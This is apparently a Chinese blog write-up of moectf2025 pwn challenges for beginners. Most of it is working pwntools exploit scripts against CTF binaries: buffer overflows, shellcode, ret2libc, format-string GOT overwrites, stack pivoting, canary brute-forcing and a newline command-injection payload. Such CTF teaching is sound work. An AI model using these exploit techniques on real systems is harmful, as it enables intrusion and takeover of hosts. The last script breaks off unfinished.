Unterhimmel-Binary cracking
moectf2025-pwn_re
Featured image of post moectf2025-pwn_re

moectf2025-pwn_re

ak,想给学弟讲题做的,题目感觉不如去年好玩,但还是很适合新人的

pwn

0

连接远程就行

1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *  # 导入 pwntools。


context(
    arch="amd64",
    os="linux",
)  # 一些基本的配置。


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


# 有时我们需要在本地调试运行程序,需要配置 context.terminal。详见入门指北。

# io = process("./pwn")  # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = remote("localhost", 38631)  # 与在线环境交互。

io.recvuntil(b"hint.")
num = io.recv(8)
log.info(CLEAR_TEXT(f"num={num}"))  # 接收提示信息。
num = u64(num.ljust(8, b"\x00"))  # 将接收到的字符串转换为整数。

log.success(CLEAR_TEXT(f"num={num:#x}"))

io.sendline(str(num).encode())  # 发送整数。

io.interactive()  # 手动接收 flag。

2 text

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *  # 导入 pwntools。

context(arch="amd64", os="linux", log_level="debug")  # 一些基本的配置。


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"

# 有时我们需要在本地调试运行程序,需要配置 context.terminal。详见入门指北。


io = process("./pwn")  # 在本地运行程序。
gdb.attach(io)                    # 启动 GDB
# io = remote("localhost", 39857)  # 与在线环境交互。

io.recvuntil(b"stack?\n")
io.sendline(b"24")
io.send(b"A" * 16 + p64(0x4011BB))

io.interactive()  # 手动接收 flag。

2 shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

filename = "./pwn"
# libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


# io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
io = remote("localhost", 45523)
# gdb.attach(
#     io,gdbscript='''
#     ''')


def se(data):
    return io.send(data)

def sla(delim, data):
    return io.sendlineafter(delim, data)



sla('!', '4')
shellcode = asm(shellcraft.sh())
se(shellcode)

io.interactive()

# 这题就是很简单的可打shellcode,可以手动也可以直接用pwntools自带的

3 认识libc

不知道丢哪去了,反正ret2libc

boom-boom_revenge

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
```c 
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[124]; // [rsp+0h] [rbp-90h] BYREF
  int v5; // [rsp+7Ch] [rbp-14h]
  int v6; // [rsp+8Ch] [rbp-4h]

  init(argc, argv, envp);
  puts("Welcome to Secret Message Book!");
  puts("Do you want to brute-force this system? (y/n)");
  fgets(&brute_choice, 8, stdin);
  v6 = 0;
  if ( brute_choice == 'y' || brute_choice == 89 )
  {
    v6 = 1;
    canary = (int)random() % 114514;
    v5 = canary;
    puts("waiting...");
    sleep(1u);
    puts("boom!");
    puts("Brute-force mode enabled! Security on.");
  }
  else
  {
    puts("Normal mode. No overflow allowed.");
  }
  printf("Enter your message: ");
  if ( v6 )
    gets(s);
  else
    fgets(s, 128, stdin);
  if ( v6 && v5 != canary )
  {
    puts("Security check failed!");
    exit(1);
  }
  puts("Message received.");
  return 0;
}

伪随机种子生成canary,调用libc库生成种子爆破 ,估计revenge是因为原本的非预期

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from ctypes import CDLL, cdll
import time
from pwn import *

context(log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]


libc = cdll.LoadLibrary('libc.so.6')


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


def WARN_TEXT(x, code=33):
    return f"\x1b[{code}m{x}\x1b[0m"


now = int(time.time())

canaries = []
for i in [now, now-1, now+1]:
    libc.srandom(i)
    val = libc.random() % 114514
    print(f"[+] seed = {i} -> canary= {val}")
    canaries.append(val)


io = remote("localhost", 43477)
# io = process("./pwn")
# gdb.attach(io, gdbscript='''
#                b *0x40136c
#                b *(main+287)
#                ''')

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive

ru(b"Do you want to brute-force this system? (y/n)\n")
sl(b'y')

ru(b'Enter your message: ')

buf = b'b'*124

for canary in canaries:
    payload = buf
    payload = (payload+p32(canary)).ljust(0x90, b'\x00')+p64(0)
    payload += p64(0x40127b)

    sl(payload)
    try:
        ia()
    except:
        print(WARN_TEXT(f"[-] Canary {canary} failed,next one"))

fmt

没什么好说的,经典格式化字符串,读一写一

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
from struct import pack

filename = "./pwn"
libc = "./patch/libc.so.6"


context(log_level="debug", os="linux", arch="i386")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
    return f"\x1b[95m{x}\x1b[0m"


# io = gdb.debug(
#     "./pwn",gdbscript=""""
#     """)
io = process(filename)
# gdb.attach(
#     io,
#     gdbscript='''b *puts'''
# )
libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 40167)


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def rc(num):
    return io.recv(num)


def rl():
    return io.recvline()


def ru(delims):
    return io.recvuntil(delims)


def ia():
    return io.interactive()


def fine():
    return io.interactive()


payload = b"%7$s%10$p"
# payload = b"%10$p"
sla(b"name?\n", payload)
# s2 = int(io.recvuntil(b"I buried", drop=True).split(b",")[-1], 16)
# log.success(VIO_TEXT(f"first number: {hex(s2)}"))
ru(b"you,")

s = io.recv()
s1 = s[:5].decode()
log.success(VIO_TEXT(f"first number: {s1}"))

s2 = s[s.find(b"0x"):].split()[0]  # 切分

s2 = int(s2, 16)
s2 = pack("<Q", s2).rstrip(b"\x00").decode(errors="ignore")  # 小端序解析
log.success(VIO_TEXT(f"second number: {s2}"))

sl(s2)
io.recv()

sl(s1)

fine()

# moectf{THe-b3G1nNlng_OF_f0rm@T5cc02f05c}

inject

伪造了一个服务器,可以用指令拼接绕过进行RCE,由于没有过滤\n所以先给一个地址x再给指令,使用\n拼接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from pwn import *

remote_addr = "localhost"
remote_port = "40757"

io = remote(remote_addr, remote_port)

sla = io.sendlineafter


def ping_host():
    sla(b"Your choice: ", "4")


ping_host()
payload = b"x\ncat flag\n"
sla(b"Enter host to ping: ", payload)

io.interactive()

randomlock

跟boom类似,爆破种子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
import ctypes

filename = "./pwn"
# libc = "./libc.so.6"
libc = ctypes.CDLL("libc.so.6")

context(log_level="debug", os="linux", arch="i386")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


# io = gdb.debug(
#     "./pwn",gdbscript='''
#     ''')
io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("", )


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def rc(num):
    return io.recv(num)


def rl():
    return io.recvline()


def ru(delims):
    return io.recvuntil(delims)



possible_seeds = [s for s in range(1, 101, 2)]


def test_seed(seed):
    libc.srand(seed)
    return [libc.rand() % 10000 for _ in range(10)]


def try_once():
    for seed in possible_seeds:
        random_sequence = test_seed(seed)
        ru(b"me?\n")

        flag = True
        for num in random_sequence:
            sl(str(num).encode())
            reveal = ru(b">")
            if b"lose" in reveal.lower():
                flag = False
                break
        if flag:
            log.success(CLEAR_TEXT(f"Found seed: {
                        seed},sequence:{random_sequence}"))
            io.interactive()
        else:
            io.clode()


try_once()
# moectf{SUch-a_FAKE_cHA0t1C-3vIIaa0ae332}

str_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char dest[24]; // [rsp+0h] [rbp-20h] BYREF
  size_t n; // [rsp+18h] [rbp-8h] BYREF

  init(argc, argv, envp);
  puts("What can u say?");
  __isoc99_scanf("%255s", str);
  puts("So,what size is it?");
  __isoc99_scanf("%zu", &n);
  len = strlen(str);
  if ( (unsigned __int64)len > 0x18 )
  {
    puts("Oh,too much.");
    exit(1);
  }
  if ( !strncmp(str, "meow", 4uLL) )
    memcpy(dest, str, n);
  else
    strncpy(dest, str, n);
  puts("You're right.");
  return 0;
}

这里对len判断到\0结束计数,提前导入\0strlen就不会判断进去,而strncmp判断前四个字节为meow才会进行比较,使用memcpy拷贝(高版本早就不这么写了不过)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

filename = "./pwn"
# libc = "./libc.so.6"


context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=31):
    return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# # libc = ELF(libc)
# gdb.attach(io, gdbscript='''
#     b *0x4013A2
# ''')
elf = ELF(filename)
# io = remote("localhost", 46233)


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def ia():
    return io.interactive()


backdoor = 0x40123E

payload = b'meow\x00'
payload += b'a'*(24-len(payload))
payload += b'B'*8
payload += p64(0x40101a)  # ret对齐栈
payload += p64(backdoor)

sla(b"u say?", payload)

sla(b"size is it?", b"48")

ia()

# moectf{maybe_THls_IS-c-5trlNG34c189c4}

syslock

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  write(1, "My lock looks strange—can you help me?\n", 0x29uLL);
  write(1, "choose mode\n", 0xCuLL);
  i = input();
  if ( i > 4 )
    lose();
  write(1, "Input your password\n", 0x14uLL);
  read(0, (char *)&s + i, 0xCuLL);
  if ( i != 59 )
    lose();
  cheat();
  return 0;
}

cheat():

1
2
3
4
5
6
7
ssize_t cheat()
{
  _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

  write(1, "Developer Mode.\n", 0x10uLL);
  return read(0, buf, 0x100uLL);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
.text:000000000040123C ; void gadget()
.text:000000000040123C                 public gadget
.text:000000000040123C gadget          proc near:
.text:000000000040123C ; __unwind {
.text:000000000040123C                 endbr64
.text:0000000000401240                 pop     rdi
.text:0000000000401241                 pop     rsi
.text:0000000000401242                 pop     rdx
.text:0000000000401243                 retn
.text:0000000000401243 gadget          endp ; sp-analysis failed

s和i都在bss段上,仅相差0x20个字节,一开始要让i小于0进行绕过lose分支,而下一次我们就要让i=59才能,因此在read中直接独到&i的位置,即s-32->i,然后写成59
cheat分支中我们可以绕过read()进行rop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=31):
    return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# gdb.attach(io, gdbscript='''
#     b *40127f
# ''')
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 39153)


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def rc(num):
    return io.recv(num)


def rl():
    return io.recvline()


def ru(delims):
    return io.recvuntil(delims)


def ia():
    return io.interactive()


sla(b"choose mode\n", b"-32")


addr_s = 0x4040A0
payload = p32(59)
io.recv()
se(payload.ljust(0xC, b"a"))

pop_rax_ret = 0x401244
syscall_addr = 0x401230
pop_rdi_rsi_rdx_ret = 0x401240
read_plt = elf.plt['read']

payload2 = flat(
    b'A' * (64+8),
    # 调用 read(0, addr_s, 8)来写入"/bin/sh\x00"
    pop_rdi_rsi_rdx_ret, 0, addr_s, 8,
    read_plt,

    pop_rdi_rsi_rdx_ret, addr_s, 0, 0,
    pop_rax_ret, 0x3b,
    syscall_addr
)
io.recv()
se(payload2)
se(b'/bin/sh\x00')

ia()

# moectf{DONT_3nc@PSUL@tE-mY_5Ysc@I132fcf89}

xdulaker

这题出题人一开始没给环境导致一堆人没patch直接远程打不通
首先要patchelf

1
2
3
4
5
gdb.attach(
    io, gdbscript='''
    b *laker
    b *photo
    ''')

如果没有patchelf,在高版本的解释器中会对残留数据进行截断,那么我们输入的xdulaker始终无法通过检测
然后通过opt的地址可以泄漏pie_base

因为栈在空间计算可以得到photo和laker的两个栈相差是可以5字节对齐的,所以我们直接尝试xdulaker*(x)就可以通过检测,最后跳过backdoor压栈(+1)然后ret2text即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 46203)
gdb.attach(
    io, gdbscript='''
    b *laker
    b *photo
    ''')


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def rc(num):
    return io.recv(num)


def rl():
    return io.recvline()


def ru(delims):
    return io.recvuntil(delims)

def ia():
    return io.interactive()



payload = b"xdulaker"*5

sl(b'1')
ru(b'gift:')

opt_addr = io.recvuntil(b'\n', drop=True).strip().decode()
opt_addr = int(opt_addr, 16)
log.info(VIO_TEXT(f"opt_addr: {hex(opt_addr)}"))

pie_base = opt_addr - 0x4010
backdoor_addr = pie_base + 0x124E

log.info(VIO_TEXT(f"pit_base: {hex(pie_base)}"))
log.info(VIO_TEXT(f"backdoor_addr: {hex(backdoor_addr)}"))


io.recv()
sl(b'2')

sa(b'name?!', payload)


io.recv()
sl(b'2')

sa(b'name?!', payload)

io.recv()
sl(b'3')

payload = cyclic(48+8)+p64(backdoor_addr+1)
sl(payload)
# sla(b'laker\n', payload)

ia()

easylibc

got延迟绑定,要使用libc函数后再次返回main使用才能获取真正libc地址,开了pie

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


# io = process(filename)
libc = ELF(libc)
elf = ELF(filename)
io = remote("localhost", 39367)

# gdb.attach(io, gdbscript='''
#     b *puts
#     ''')


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def rc(num):
    return io.recv(num)


def rl():
    return io.recvline()


def ru(delims):
    return io.recvuntil(delims)

def ia():
    return io.interactive()


ru(b"I use ")
leak = ru(' ').strip().decode()

log.success(VIO_TEXT(f"leak: {leak}"))

leak = int(leak, 16)
pie_delta = 0x1060
pie_base = leak - pie_delta

read = leak+0x50
read_plt = elf.plt['read']
elf_base = read-read_plt

log.success(VIO_TEXT(f"pie_base: {hex(pie_base)}"))
start = elf.symbols['_start']+elf_base+4
log.success(VIO_TEXT(f"start_addr: {hex(start)}"))

ret = elf_base+0x00101a+4
log.info(f"ret:{hex(ret)}")

payload = cyclic(32+8)+p64(start)
se(payload)

ru(b"I use ")
read_addr_true = int(ru(' ').strip().decode(), 16)
libc_base = read_addr_true-libc.symbols['read']
log.success(CLEAR_TEXT(f"libc_addr: {hex(libc_base)}"))
log.success(CLEAR_TEXT(f"read_addr_true: {hex(read_addr_true)}"))

rop = ROP(libc)
pop_rdi = libc_base + 0x2a3e5
binsh = libc_base + libc.search(b"/bin/sh\x00").__next__()
system = libc_base + libc.symbols['system']

offset = 40

payload = flat(
    b"A" * offset,
    ret,
    pop_rdi,
    binsh,
    system,
)

sl(payload)

io.interactive()
# moectf{How_cAn_You_g3t_This-L1BC-@DDR712d46}

ezpivot

栈迁移
我们的栈溢出需要溢出从 ret 开始 pop_rdi,&"/bin/sh",ret,system_plt 四个地址,也就是需要 0x28 的长度,而本题的溢出长度不够,我们需要考虑栈迁移。
在第一个 read 前存在整数溢出,我们输入 -1 即可往 desc 内读入任意字节。


我 们 先 向 desc+0x800 的 位 置 写 入 我 们 的 ROP 链 , 然 后 覆 盖 rbp 为 desc+0x800 , 覆 盖 ret 为 leave_addr,即可实现栈迁移执行我们写入 data 段上的 ROP 链即可

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
import argparse
import argcomplete

parser = argparse.ArgumentParser(
    description="Exploit script for pwn challenge.")
parser.add_argument('--remote', action='store_true',
                    help="Connect to remote service")
parser.add_argument('--debug', action='store_true',
                    help="Attach GDB for debugging")
parser.add_argument('--ip', default='localhost', help="Remote IP address")
parser.add_argument('--port', type=int, default=35515, help="Remote port")

args = parser.parse_args()


filename = './pwn'
# libc_path = './libc.so.6'
arch = 'amd64'

context.log_level = 'debug'
context.arch = arch
context.os = "linux"
context.terminal = ["tmux", "splitw", "-h"]

elf = ELF(filename)
# libc = ELF(libc_path)


def start():
    if args.remote:
        io = remote(args.ip, args.port)
    else:
        io = process(filename)
        if args.debug:
            gdb.attach(io, gdbscript='''
            b *0x401334
            ''')
    return io


def register_io_shortcuts(io):
    global se, sl, sla, sa, slt, st
    global rc, rn, rr, ru, ra, rl, rls, rle, rlc
    global ia, ic

    se = io.send
    sl = io.sendline
    sla = io.sendlineafter
    sa = io.sendafter
    slt = io.sendlinethen
    st = io.sendthen

    rc = io.recv
    rn = io.recvn
    rr = io.recvregex
    ru = io.recvuntil
    ra = io.recvall
    rl = io.recvline
    rls = io.recvline_startswith
    rle = io.recvline_endswith
    rlc = io.recvline_contains

    ia = io.interactive
    ic = io.close

# def uu32(data): return u32(data.ljust(4, b"\x00"))
# def uu64(data): return u64(data.ljust(8, b"\x00"))
# def get_64(): return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
# def get_32(): return u32(io.recvuntil(b"\x7f")[-4:].ljust(4, b"\x00"))


def VIO_TEXT(x, code=95): return f"\x1b[{code}m{x}\x1b[0m"
def CLEAR_TEXT(x, code=32): return f"\x1b[{code}m{x}\x1b[0m"


def main():
    global io
    io = start()
    register_io_shortcuts(io)
    system_plt = 0x4010a0
    pop_rdi_ret = 0x401219
    leave_ret = 0x40120F
    ret_addr = 0x40101a
    bss = 0x404060
    pivot_bss = 0x404060+0x800

    ru(b'introduction.')
    sl(str(-1))  # 整数溢出

    payload = flat([
        b'a'*0x800,
        b'/bin/sh\x00',
        pop_rdi_ret,
        pivot_bss,
        ret_addr,
        system_plt,
    ])

    se(payload)

    ru(b'phone number:\n')

    payload = cyclic(12)+p64(pivot_bss)+p64(leave_ret)

    se(payload)

    ia()


if __name__ == "__main__":
    main()

ezprotection

泄漏canary
pie不改变低12bit也就是低三位,爆破1/16的backdoor地址,直接绕过password检测即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "43661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
        b *$rebase(0x1380)
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
rc = io.recv
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive

payload = b'a'*24
payload += b'b'

sa("you.\n", payload)
ru(b'b')

canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success(VIO_TEXT(f"Canary is:{hex(canary)}"))

payload = b'a'*24+p64(canary)+b'b'*8+b'\x8c\xf2'

rc()
se(payload)

ia()

fmt_S

第一次写入,得到栈上一个地址指向main函数 第二次写入,通过得到的栈地址写入到栈上位置

first time

second time

根据计算往上一次泄漏出的位置8-2就是我们可以控制的位置,在此写入一个main

第三次通过八个字节刚好可以写入/bin/sh\x00,通过system()来实现系统调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
# p = remote('localhost', 37307)

def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc/libc.so.6')
system = 0x40127B

gdb.attach(p, gdbscript='''
    b *talk
    b *0x40131E
    b *0x4012F6
''')
payload = b'%8$p'
p.sendafter("You start talking to him...\n", payload)
p.recvuntil('0x')
stack_ret = int(p.recv(12), 16) - 0x18
log.success(VIO_TEXT("stack_ret: " + hex(stack_ret)))
p.sendafter("You enraged the monster-prepare for battle!\n", 'a' * 8)

count = stack_ret & 0xffff
payload2 = f'%{count}c%6$hn'.format().encode()
p.sendafter("You start talking to him...\n", payload2)
p.sendafter("You enraged the monster-prepare for battle!\n", 'a' * 8)

count = system & 0xffff
payload3 = f'%{count}c%47$hn'.format().encode()
p.sendafter("You start talking to him...\n", payload3)
p.sendafter("You enraged the monster-prepare for battle!\n", '/bin/sh\x00')

p.interactive()

fmt_T

程序外部一个格式化字符串可以帮助泄漏libc地址,而内部是递归的,所以只能进行写地址而且是4 16 27的允许写入数量,写one_gadget无效。而可以写printf_got
所以内部的写入如下

  1. 传入sh|%来写入sh参数,因为要判断%否则不允许写入所以只能写sh
  2. 在栈空间上写入pirntf_got用于修改为system
  3. 要写2.5个字节,在最后一次写入两次实现,抬一次地址写1.5字节
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
    b *0x4012d9
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def get_64():
    return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def hell(x):
    sa(b"hell.\n", x)


sl(b'%3$p')
leak_str = rl(keepends=False).decode()
leak_addr = int(leak_str, 16)
log.info(VIO_TEXT(f"try to leak-read?:{hex(leak_addr)}"))

libc.address = leak_addr-18-libc.sym['read']  # 泄漏出read来leak libc
system_addr = libc.sym['system']
log.success(VIO_TEXT(f"system:{hex(system_addr)}"))

printf_got = elf.got["printf"]
log.info(VIO_TEXT(f"printf@GOT: {hex(printf_got)}"))

# fgets最多读入len-1字符,第一次输入sh |% 使得可以被printf作为参数
hell("sh|%")

# 第二次先往栈上写一个printf_got的地址
printf_got = elf.got['printf']
# 通过写入到紧靠的下一个位置,使得可以写5位的prinf_got->system
payload_16 = (p64(printf_got) + p64(printf_got+1))[:15]

hell(payload_16)

system_low = system_addr & 0xff
system_high = (system_addr >> 8) & 0xffff
